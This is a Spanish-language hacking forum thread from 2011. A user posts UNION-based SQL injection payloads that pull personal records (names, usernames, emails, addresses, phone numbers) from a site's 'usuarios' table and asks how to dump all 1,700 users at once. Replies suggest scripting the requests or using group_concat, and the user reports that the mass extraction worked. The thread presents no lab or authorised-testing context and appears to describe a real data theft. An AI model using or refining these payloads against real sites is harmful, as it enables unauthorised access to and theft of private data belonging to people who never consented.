Obtener todos los datos al mismo tiempo con SQLinjections

Foro de elhacker.net

Seguridad Informática

Hacking

Bugs y Exploits

Nivel Web (Moderadores: sirdarckcat, WHK)

Obtener todos los datos al mismo tiempo con SQLinjections

0 Usuarios y 1 Visitante están viendo este tema.

Páginas: [1]

Autor

Tema: Obtener todos los datos al mismo tiempo con SQLinjections (Leído 3,242 veces)

Lavacaloca

Desconectado

Mensajes: 21

Obtener todos los datos al mismo tiempo con SQLinjections

« en: 24 Julio 2011, 17:54 pm »

Hola a todos, sigo con dudas de SQL injections (que no pude resolver solito).

Si quiero imprimir en pantalla todos los datos de todos los usuarios al mismo tiempo,¿ como tendría que hacer?
Por que puedo hacerlo de 1 en 1 , con un "limit+1,1--"
Código: [Seleccionar]
(id=-1+union+all+select+1,concat(nombre,0x3a3a,apellido1,0x3a3a,apellido2,0x3a3a,username,0x3a3a,email,0x3a3a,empresa,0x3a3a,direccion,0x3a3a,telefono,0x3a3a,localidad,0x3a3a,codigo_postal,0x3a3a,pais),3,4,5,6,7+from+usuarios+limit+1,1--
Código: [Seleccionar]
(id=-1+union+all+select+1,concat(nombre,0x3a3a,apellido1,0x3a3a,apellido2,0x3a3a,username,0x3a3a,email,0x3a3a,empresa,0x3a3a,direccion,0x3a3a,telefono,0x3a3a,localidad,0x3a3a,codigo_postal,0x3a3a,pais),3,4,5,6,7+from+usuarios+limit+2,1--
, pero el problema es que son 1700 usuarios que quiero imprimirle los datos, ¿se puede todos al mismo tiempo?


« Última modificación: 26 Julio 2011, 14:39 pm por Lavacaloca »	En línea

Sigo buscando información y/o posibles soluciones para abrir un puerto en el modem Huawei echolife Hg520c

Shell Root

Moderador Global

Desconectado

Mensajes: 3.724

Re: Obtener todos los datos al mismo tiempo con SQLinjections

« Respuesta #1 en: 25 Julio 2011, 07:49 am »

Ps a ver, eso lo puedes hacer de diferente formas, cuando printeas el valor puede que el mismo código te lo generé, -eso depende de la inplementación de la consulta con el lenguaje de programación-. O lo puedes hacer por medio de un lenguaje de programación que permita realizar peticiones HTTP, por ejemplo PHP, PERL, PYTHON, etc...


	En línea

Te vendería mi talento por poder dormir tranquilo.

s E t H

Desconectado

Mensajes: 152

Ha tenido un sueño donde todos los pollos eran libres de cruzar una carretera sin tener que justificar sus actos.

Re: Obtener todos los datos al mismo tiempo con SQLinjections

« Respuesta #2 en: 26 Julio 2011, 11:55 am »

No te lo va a dar en una petición, pero group_concat saca varios datos a la vez


	En línea

escribiendo en 0V3RL04D 1N TH3 N3T y XD Blog!

Mi deviantart

Lavacaloca

Desconectado

Mensajes: 21

Re: Obtener todos los datos al mismo tiempo con SQLinjections

« Respuesta #3 en: 26 Julio 2011, 14:48 pm »

Cita de: s E t H en 26 Julio 2011, 11:55 am

No te lo va a dar en una petición, pero group_concat saca varios datos a la vez

(Creo que me había expresado mal, lo que quería sacar son los usuarios(con todos los datos) al mismo tiempo )

Funciono casi perfecto!!! Lo único malo es que me imprimía de a 10 usuarios y nada más, pero lo solucione con un "where+id<=50" ----> "where+id<=60"

Muchas gracias


	En línea

Sigo buscando información y/o posibles soluciones para abrir un puerto en el modem Huawei echolife Hg520c

Páginas: [1]

Ir a:

Mensajes similares
	Asunto	Iniciado por	Respuestas	Vistas	Último mensaje
	Como instalar 2 quemadores para que quemen lo mismo y al mismo tiempo Software	vale	2	6,960	7 Octubre 2005, 00:07 am por Mordor
	Recibir y enviar varios datos al mismo tiempo con winsock Programación Visual Basic	demoniox12	4	4,122	1 Diciembre 2007, 21:54 pm por demoniox12
	Insertar datos dos usuarios al mismo tiempo Bases de Datos	jamarchi	2	3,626	20 Julio 2011, 01:16 am por cassiani
	Wisnock - Enviar y Recibir varios datos al mismo tiempo Programación Visual Basic	Brian1511	1	1,692	16 Agosto 2013, 23:14 pm por noalg
	Obtener todos los datos de un celular PHP	M@sterR00t	5	5,059	6 Febrero 2015, 18:07 pm por M@sterR00t